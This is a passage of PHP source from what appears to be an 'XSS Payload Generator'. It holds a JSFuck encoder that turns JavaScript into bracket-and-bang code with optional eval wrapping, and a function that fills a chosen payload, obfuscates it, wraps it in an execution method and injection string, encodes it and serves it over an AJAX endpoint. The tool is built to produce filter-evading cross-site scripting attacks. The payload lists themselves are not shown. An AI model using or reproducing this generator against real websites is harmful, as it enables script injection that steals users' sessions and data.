508 | 'H' => JSFuck::USE_CHAR_CODE,
509 | 'I' => '(Infinity+"")[0]',
510 | 'J' => JSFuck::USE_CHAR_CODE,
511 | 'K' => JSFuck::USE_CHAR_CODE,
512 | 'L' => JSFuck::USE_CHAR_CODE,
513 | 'M' => '(true+Function("return Date")()())[30]',
514 | 'N' => '(NaN+"")[0]',
515 | 'O' => '(NaN+Function("return{}")())[11]',
516 | 'P' => JSFuck::USE_CHAR_CODE,
517 | 'Q' => JSFuck::USE_CHAR_CODE,
518 | 'R' => '(+[]+RegExp)[10]',
519 | 'S' => '(+[]+String)[10]',
520 | 'T' => '(NaN+Function("return Date")()())[30]',
521 | 'U' => '(NaN+Function("return{}")()["to"+String["name"]]["call"]())[11]',
522 | 'V' => JSFuck::USE_CHAR_CODE,
523 | 'W' => JSFuck::USE_CHAR_CODE,
524 | 'X' => JSFuck::USE_CHAR_CODE,
525 | 'Y' => JSFuck::USE_CHAR_CODE,
526 | 'Z' => JSFuck::USE_CHAR_CODE,
527 |
528 | ' ' => '(NaN+[]["fill"])[11]',
529 | '!' => JSFuck::USE_CHAR_CODE,
530 | '"' => '("")["fontcolor"]()[12]',
531 | '#' => JSFuck::USE_CHAR_CODE,
532 | '$' => JSFuck::USE_CHAR_CODE,
533 | '%' => 'Function("return escape")()([]["fill"])[21]',
534 | '&' => '("")["link"](0+")[10]',
535 | '\'' => JSFuck::USE_CHAR_CODE,
536 | '(' => '(undefined+[]["fill"])[22]',
537 | ')' => '([0]+false+[]["fill"])[20]',
538 | '*' => JSFuck::USE_CHAR_CODE,
539 | '+' => '(+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[2]',
540 | ',' => '([]["slice"]["call"](false+"")+"")[1]',
541 | '-' => '(+(.+[0000000001])+"")[2]',
542 | '.' => '(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]',
543 | '/' => '(false+[0])["italics"]()[10]',
544 | ':' => '(RegExp()+"")[3]',
545 | ';' => '("")["link"](")[14]',
546 | '<' => '("")["italics"]()[0]',
547 | '=' => '("")["fontcolor"]()[11]',
548 | '>' => '("")["italics"]()[2]',
549 | '?' => '(RegExp()+"")[2]',
550 | '@' => JSFuck::USE_CHAR_CODE,
551 | '[' => '([]["entries"]()+"")[0]',
552 | '\\' => JSFuck::USE_CHAR_CODE,
553 | ']' => '([]["entries"]()+"")[22]',
554 | '^' => JSFuck::USE_CHAR_CODE,
555 | '_' => JSFuck::USE_CHAR_CODE,
556 | '`' => JSFuck::USE_CHAR_CODE,
557 | '{' => '(true+[]["fill"])[20]',
558 | '|' => JSFuck::USE_CHAR_CODE,
559 | '}' => '([]["fill"]+"")["slice"]("-1")',
560 | '~' => JSFuck::USE_CHAR_CODE,
561 | ];
562 |
563 | private const GLOBAL = 'Function("return this")()';
564 |
565 | public function __construct(string $compilePath = "jsfuck.data") {
566 | if(file_exists($compilePath)) {
567 | $data = file_get_contents("jsfuck.data");
568 | $this->_MAPPING = unserialize($data);
569 | }
570 | else {
571 | $this->FillMissingChars();
572 | $this->FillMissingDigits();
573 | $this->ReplaceMap();
574 | $this->ReplaceStrings();
575 |
576 | $data = serialize($this->_MAPPING);
577 | file_put_contents("jsfuck.data", $data);
578 | }
579 | }
580 |
581 | public function Encode(string $input, bool $wrapWithEval = false, bool $runInParentScope = false) : string {
582 | $output = [];
583 |
584 | $r = "";
585 | foreach(JSFuck::SIMPLE as $i => $val) {
586 | $r .= "$i|";
587 | }
588 | $r .= ".";
589 |
590 | if(preg_match_all("/$r/", $input, $matches)) {
591 | foreach($matches[0] as $find) {
592 | if(key_exists($find, JSFuck::SIMPLE)) {
593 | $output[] = "[".JSFuck::SIMPLE[$find]."]+[]";
594 | }
595 | else if(key_exists($find, $this->_MAPPING)) {
596 | $output[] = $this->_MAPPING[$find];
597 | }
598 | else {
599 | $replacement = "([]+[])[".$this->Encode("constructor")."][".$this->Encode("fromCharCode")."](".$this->Encode((string) ord($find)).")";
600 | $output[] = $replacement;
601 | $this->_MAPPING[$find] = $replacement;
602 | }
603 | }
604 | }
605 |
606 | $output = join("+", $output);
607 |
608 | if(preg_match("/^\d$/", $input)) {
609 | $output .= "+[]";
610 | }
611 |
612 | if($wrapWithEval) {
613 | if($runInParentScope) {
614 | $output = "[][".$this->Encode("fill")."][".$this->Encode("constructor")."](".$this->Encode("return eval").")()($output)";
615 | }
616 | else {
617 | $output = "[][".$this->Encode("fill")."][".$this->Encode("constructor")."]($output)()";
618 | }
619 | }
620 |
621 | return $output;
622 | }
623 |
624 | private function FillMissingChars() {
625 | foreach($this->_MAPPING as $key => $value) {
626 | if($value === JSFuck::USE_CHAR_CODE) {
627 | $charCode = ord($key);
628 | $charCodeHex = dechex($charCode);
629 | $replace = preg_replace('/(\d+)/', '+($1)+"', $charCodeHex);
630 | $this->_MAPPING[$key] = 'Function("return unescape")()("%"'.$replace.'")';
631 | }
632 | }
633 | }
634 |
635 | private function FillMissingDigits() {
636 | for($number = 0; $number < 10; $number++) {
637 | $output = "+[]";
638 |
639 | if($number > 0) {
640 | $output = "+!$output";
641 | }
642 |
643 | for($i = 1; $i < $number; $i++) {
644 | $output = "+!+[]$output";
645 | }
646 |
647 | if($number > 1) {
648 | $output = substr($output, 1);
649 | }
650 |
651 | $this->_MAPPING[$number] = "[$output]";
652 | }
653 | }
654 |
655 | private function ReplaceMap() {
656 | for($i = JSFuck::MIN; $i <= JSFuck::MAX; $i++) {
657 | $char = chr($i);
658 | $value = $this->_MAPPING[$char];
659 |
660 | if(empty($value)) {
661 | continue;
662 | }
663 |
664 | foreach(JSFuck::CONSTRUCTORS as $key => $val) {
665 | $value = preg_replace("/\b$key/", $val.'["constructor"]', $value);
666 | }
667 |
668 | foreach(JSFuck::SIMPLE as $key => $val) {
669 | $value = preg_replace("/$key/", $val, $value);
670 | }
671 |
672 | $value = $this->NumberReplacer($value, "/(\d\d+)/i");
673 | $value = $this->DigitReplacer($value, "/\((\d)\)/i");
674 | $value = $this->DigitReplacer($value, "/\[(\d)\]/i");
675 |
676 | $value = preg_replace("/GLOBAL/", JSFuck::GLOBAL, $value);
677 | $value = preg_replace("/\+\"\"/", "+[]", $value);
678 | $value = preg_replace("/\"\"/", "[]+[]", $value);
679 |
680 | $this->_MAPPING[$char] = $value;
681 | }
682 | }
683 |
684 | private function ReplaceStrings() {
685 | foreach($this->_MAPPING as $key => $value) {
686 | $this->_MAPPING[$key] = $this->MappingReplacer((string) $value, "/\"([^\"]+)\"/i");
687 | }
688 |
689 | $count = JSFuck::MAX - JSFuck::MIN;
690 |
691 | while(true) {
692 | $missing = $this->FindMissing();
693 |
694 | if(count($missing) == 0) {
695 | break;
696 | }
697 |
698 | foreach($missing as $key => $value) {
699 | $value = $this->ValueReplacer($value, "/[^\[\]\(\)\!\+]{1}/", $missing);
700 | $this->_MAPPING[$key] = $value;
701 | }
702 |
703 | if($count-- === 0) {
704 | throw new Exception("Could not compile the following chars: ".json_encode($this->FindMissing()));
705 | }
706 | }
707 | }
708 |
709 | private function FindMissing() : array {
710 | $missing = [];
711 | foreach($this->_MAPPING as $key => $value) {
712 | if(preg_match("/[^\[\]\(\)\!\+]{1}/", $value)) {
713 | $missing[$key] = $value;
714 | }
715 | }
716 | return $missing;
717 | }
718 |
719 | private function NumberReplacer(string $value, string $pattern) : string {
720 | if(preg_match_all($pattern, $value, $matches, PREG_OFFSET_CAPTURE)) {
721 | for($i = count($matches[0]) - 1; $i >= 0; $i--) {
722 | $find = $matches[0][$i][0];
723 | $offs = $matches[0][$i][1];
724 |
725 | $begin = substr($value, 0, $offs);
726 | $end = substr($value, $offs + strlen($find));
727 |
728 | $values = [];
729 | for($j = 0; $j < strlen($find); $j++) {
730 | $values[$j] = $find[$j];
731 | }
732 |
733 | $head = (int) array_shift($values);
734 | $output = "+[]";
735 |
736 | if($head > 0) {
737 | $output = "+!$output";
738 | }
739 |
740 | for($j = 1; $j < $head; $j++) {
741 | $output = "+!+[]$output";
742 | }
743 |
744 | if($head > 1) {
745 | $output = substr($output, 1);
746 | }
747 |
748 | $merged = array_merge([$output], $values);
749 | $joined = join("+", $merged);
750 |
751 | $value = $begin.$this->DigitReplacer($joined, "/(\d)/").$end;
752 | }
753 | }
754 |
755 | return $value;
756 | }
757 |
758 | private function DigitReplacer(string $value, string $pattern) : string {
759 | if(preg_match_all($pattern, $value, $matches, PREG_OFFSET_CAPTURE)) {
760 | for($i = count($matches[1]) - 1; $i >= 0; $i--) {
761 | $find = $matches[1][$i][0];
762 | $offs = $matches[1][$i][1];
763 |
764 | $begin = substr($value, 0, $offs);
765 | $end = substr($value, $offs + strlen($find));
766 |
767 | $value = $begin.$this->_MAPPING[$find].$end;
768 | }
769 | }
770 |
771 | return $value;
772 | }
773 |
774 | private function MappingReplacer(string $value, string $pattern) : string {
775 | if(preg_match_all($pattern, $value, $matches, PREG_OFFSET_CAPTURE)) {
776 | for($i = count($matches[1]) - 1; $i >= 0; $i--) {
777 | $find = $matches[1][$i][0];
778 | $offs = $matches[1][$i][1];
779 |
780 | $begin = substr($value, 0, $offs - 1);
781 | $end = substr($value, $offs + strlen($find) + 1);
782 |
783 | $values = [];
784 | for($j = 0; $j < strlen($find); $j++) {
785 | $values[$j] = $find[$j];
786 | }
787 |
788 | $value = $begin.join("+", $values).$end;
789 | }
790 | }
791 |
792 | return $value;
793 | }
794 |
795 | private function ValueReplacer(string $value, string $pattern, array $missing) : string {
796 | if(preg_match_all($pattern, $value, $matches, PREG_OFFSET_CAPTURE)) {
797 | for($i = count($matches[0]) - 1; $i >= 0; $i--) {
798 | $find = $matches[0][$i][0];
799 | $offs = $matches[0][$i][1];
800 |
801 | $begin = substr($value, 0, $offs);
802 | $end = substr($value, $offs + strlen($find));
803 |
804 | if(!key_exists($find, $missing)) {
805 | $value = $begin.$this->_MAPPING[$find].$end;
806 | }
807 | else {
808 | $value = $value;
809 | }
810 | }
811 | }
812 |
813 | return $value;
814 | }
815 |
816 | }
817 |
818 |
819 | // Logic for generating a payload
820 | function generatePayload( $form ){
821 | global $aPayloads, $aObfuscation, $aExecution, $aInjections, $aEncoding;
822 | $required = ['payloadid','injectionid','obfuscationid','executionid','encoding_used'];
823 | foreach( $required as $item ){
824 | if( !in_array( $item, array_keys( $form ) ) ) return $item." not provided";
825 | }
826 |
827 | $rtn = [];
828 | $rtn['meta'] = [];
829 | if( !in_array( $form['payloadid'], array_keys( $aPayloads ) ) ) $form['payloadid'] = 0;
830 | $payload = $aPayloads[$form['payloadid']];
831 | $rtn['meta']['payload'] = $payload;
832 |
833 | // Replace values in code with form values
834 | $fields = explode( ",", $payload["fields"] );
835 | $code = $payload['code'];
836 | foreach( $fields as $f ){
837 | if( !in_array( $f, array_keys( $form ) ) ) continue;
838 | $code = str_replace( '{'.$f.'}', $form[$f], $code );
839 | }
840 | $rtn['payload'] = $code;
841 |
842 | // Prepare payloads
843 | $prep = [];
844 | $prep['payload'] = $code;
845 | $prep['payloadb64'] = base64_encode( $code );
846 | $prep['payloadrev'] = strrev( $code );
847 | $chrs = [];
848 | for( $i=0; $iEncode($code);
859 | $rtn['prepared'] = $prep;
860 |
861 | // Obfuscate code using chosen method
862 | if( !in_array( $form['obfuscationid'], array_keys( $aObfuscation ) ) ) $form['obfuscationid'] = 0;
863 | $obfuscation = $aObfuscation[$form['obfuscationid']];
864 | $rtn['meta']['obfuscation'] = $obfuscation;
865 | $code = $obfuscation['code'];
866 | foreach( $prep as $k => $v ){
867 | $code = str_replace( '{'.$k.'}', $v, $code );
868 | }
869 | $rtn['obfuscated'] = $code;
870 |
871 | // Add into execution method
872 | if( !in_array( $form['executionid'], array_keys( $aExecution ) ) ) $form['executionid'] = 0;
873 | $execution = $aExecution[$form['executionid']];
874 | $rtn['meta']['execution'] = $execution;
875 | $code = str_replace( '{obfuscated}', $rtn['obfuscated'], $execution['code'] );
876 | $rtn['execute'] = $code;
877 |
878 | // Insert into injection string
879 | if( !in_array( $form['injectionid'], array_keys( $aInjections ) ) ) $form['injectionid'] = 0;
880 | $injection = $aInjections[$form['injectionid']];
881 | $rtn['meta']['injection'] = $injection;
882 | $code = str_replace( '{payload}', $code, $injection['code'] );
883 |
884 | // Custom injection
885 | if( array_key_exists( 'fields', $injection ) ){
886 | $fields = explode( ",", $injection["fields"] );
887 |
888 | foreach( $fields as $f ){
889 | if( !in_array( $f, array_keys( $form ) ) ) continue;
890 | $code = str_replace( '{'.$f.'}', $form[$f], $code );
891 | }
892 | }
893 |
894 | // Encoding
895 | if( !empty($form["encoding_used"]) ){
896 | $encs = preg_split("/,/",$form["encoding_used"]);
897 | foreach( $encs as $ename ){
898 | foreach( $aEncoding as $e ){
899 | if( $e["name"] == $ename ) break;
900 | }
901 | $args = [];
902 | foreach( $e["args"] as $a ){
903 | $args[] = str_replace( "[payload]", $code, $a );
904 | }
905 | $code = call_user_func_array( $e["func"], $args );
906 | }
907 | }
908 | $rtn['payload'] = $code;
909 | $rtn['inject'] = $code;
910 | return $rtn;
911 | }
912 |
913 | // Generate the actual payload
914 | if( $_GET['mode'] == 'ajax' ){
915 | header('Content-Type: text/json');
916 | $rtn = generatePayload( $_GET );
917 | echo json_encode( $rtn );
918 | exit;
919 | }
920 |
921 | // Show form to generate a payload
922 | if( empty( $_GET["mode"] ) || $_GET["mode"] == "generate"){
923 | ?>
924 |
925 |
926 | XSS Payload Generator
927 |
1085 |
1126 |
1127 |
1128 | XSS Payload Generator
1129 |
1244 |
1245 |
1248 |
--------------------------------------------------------------------------------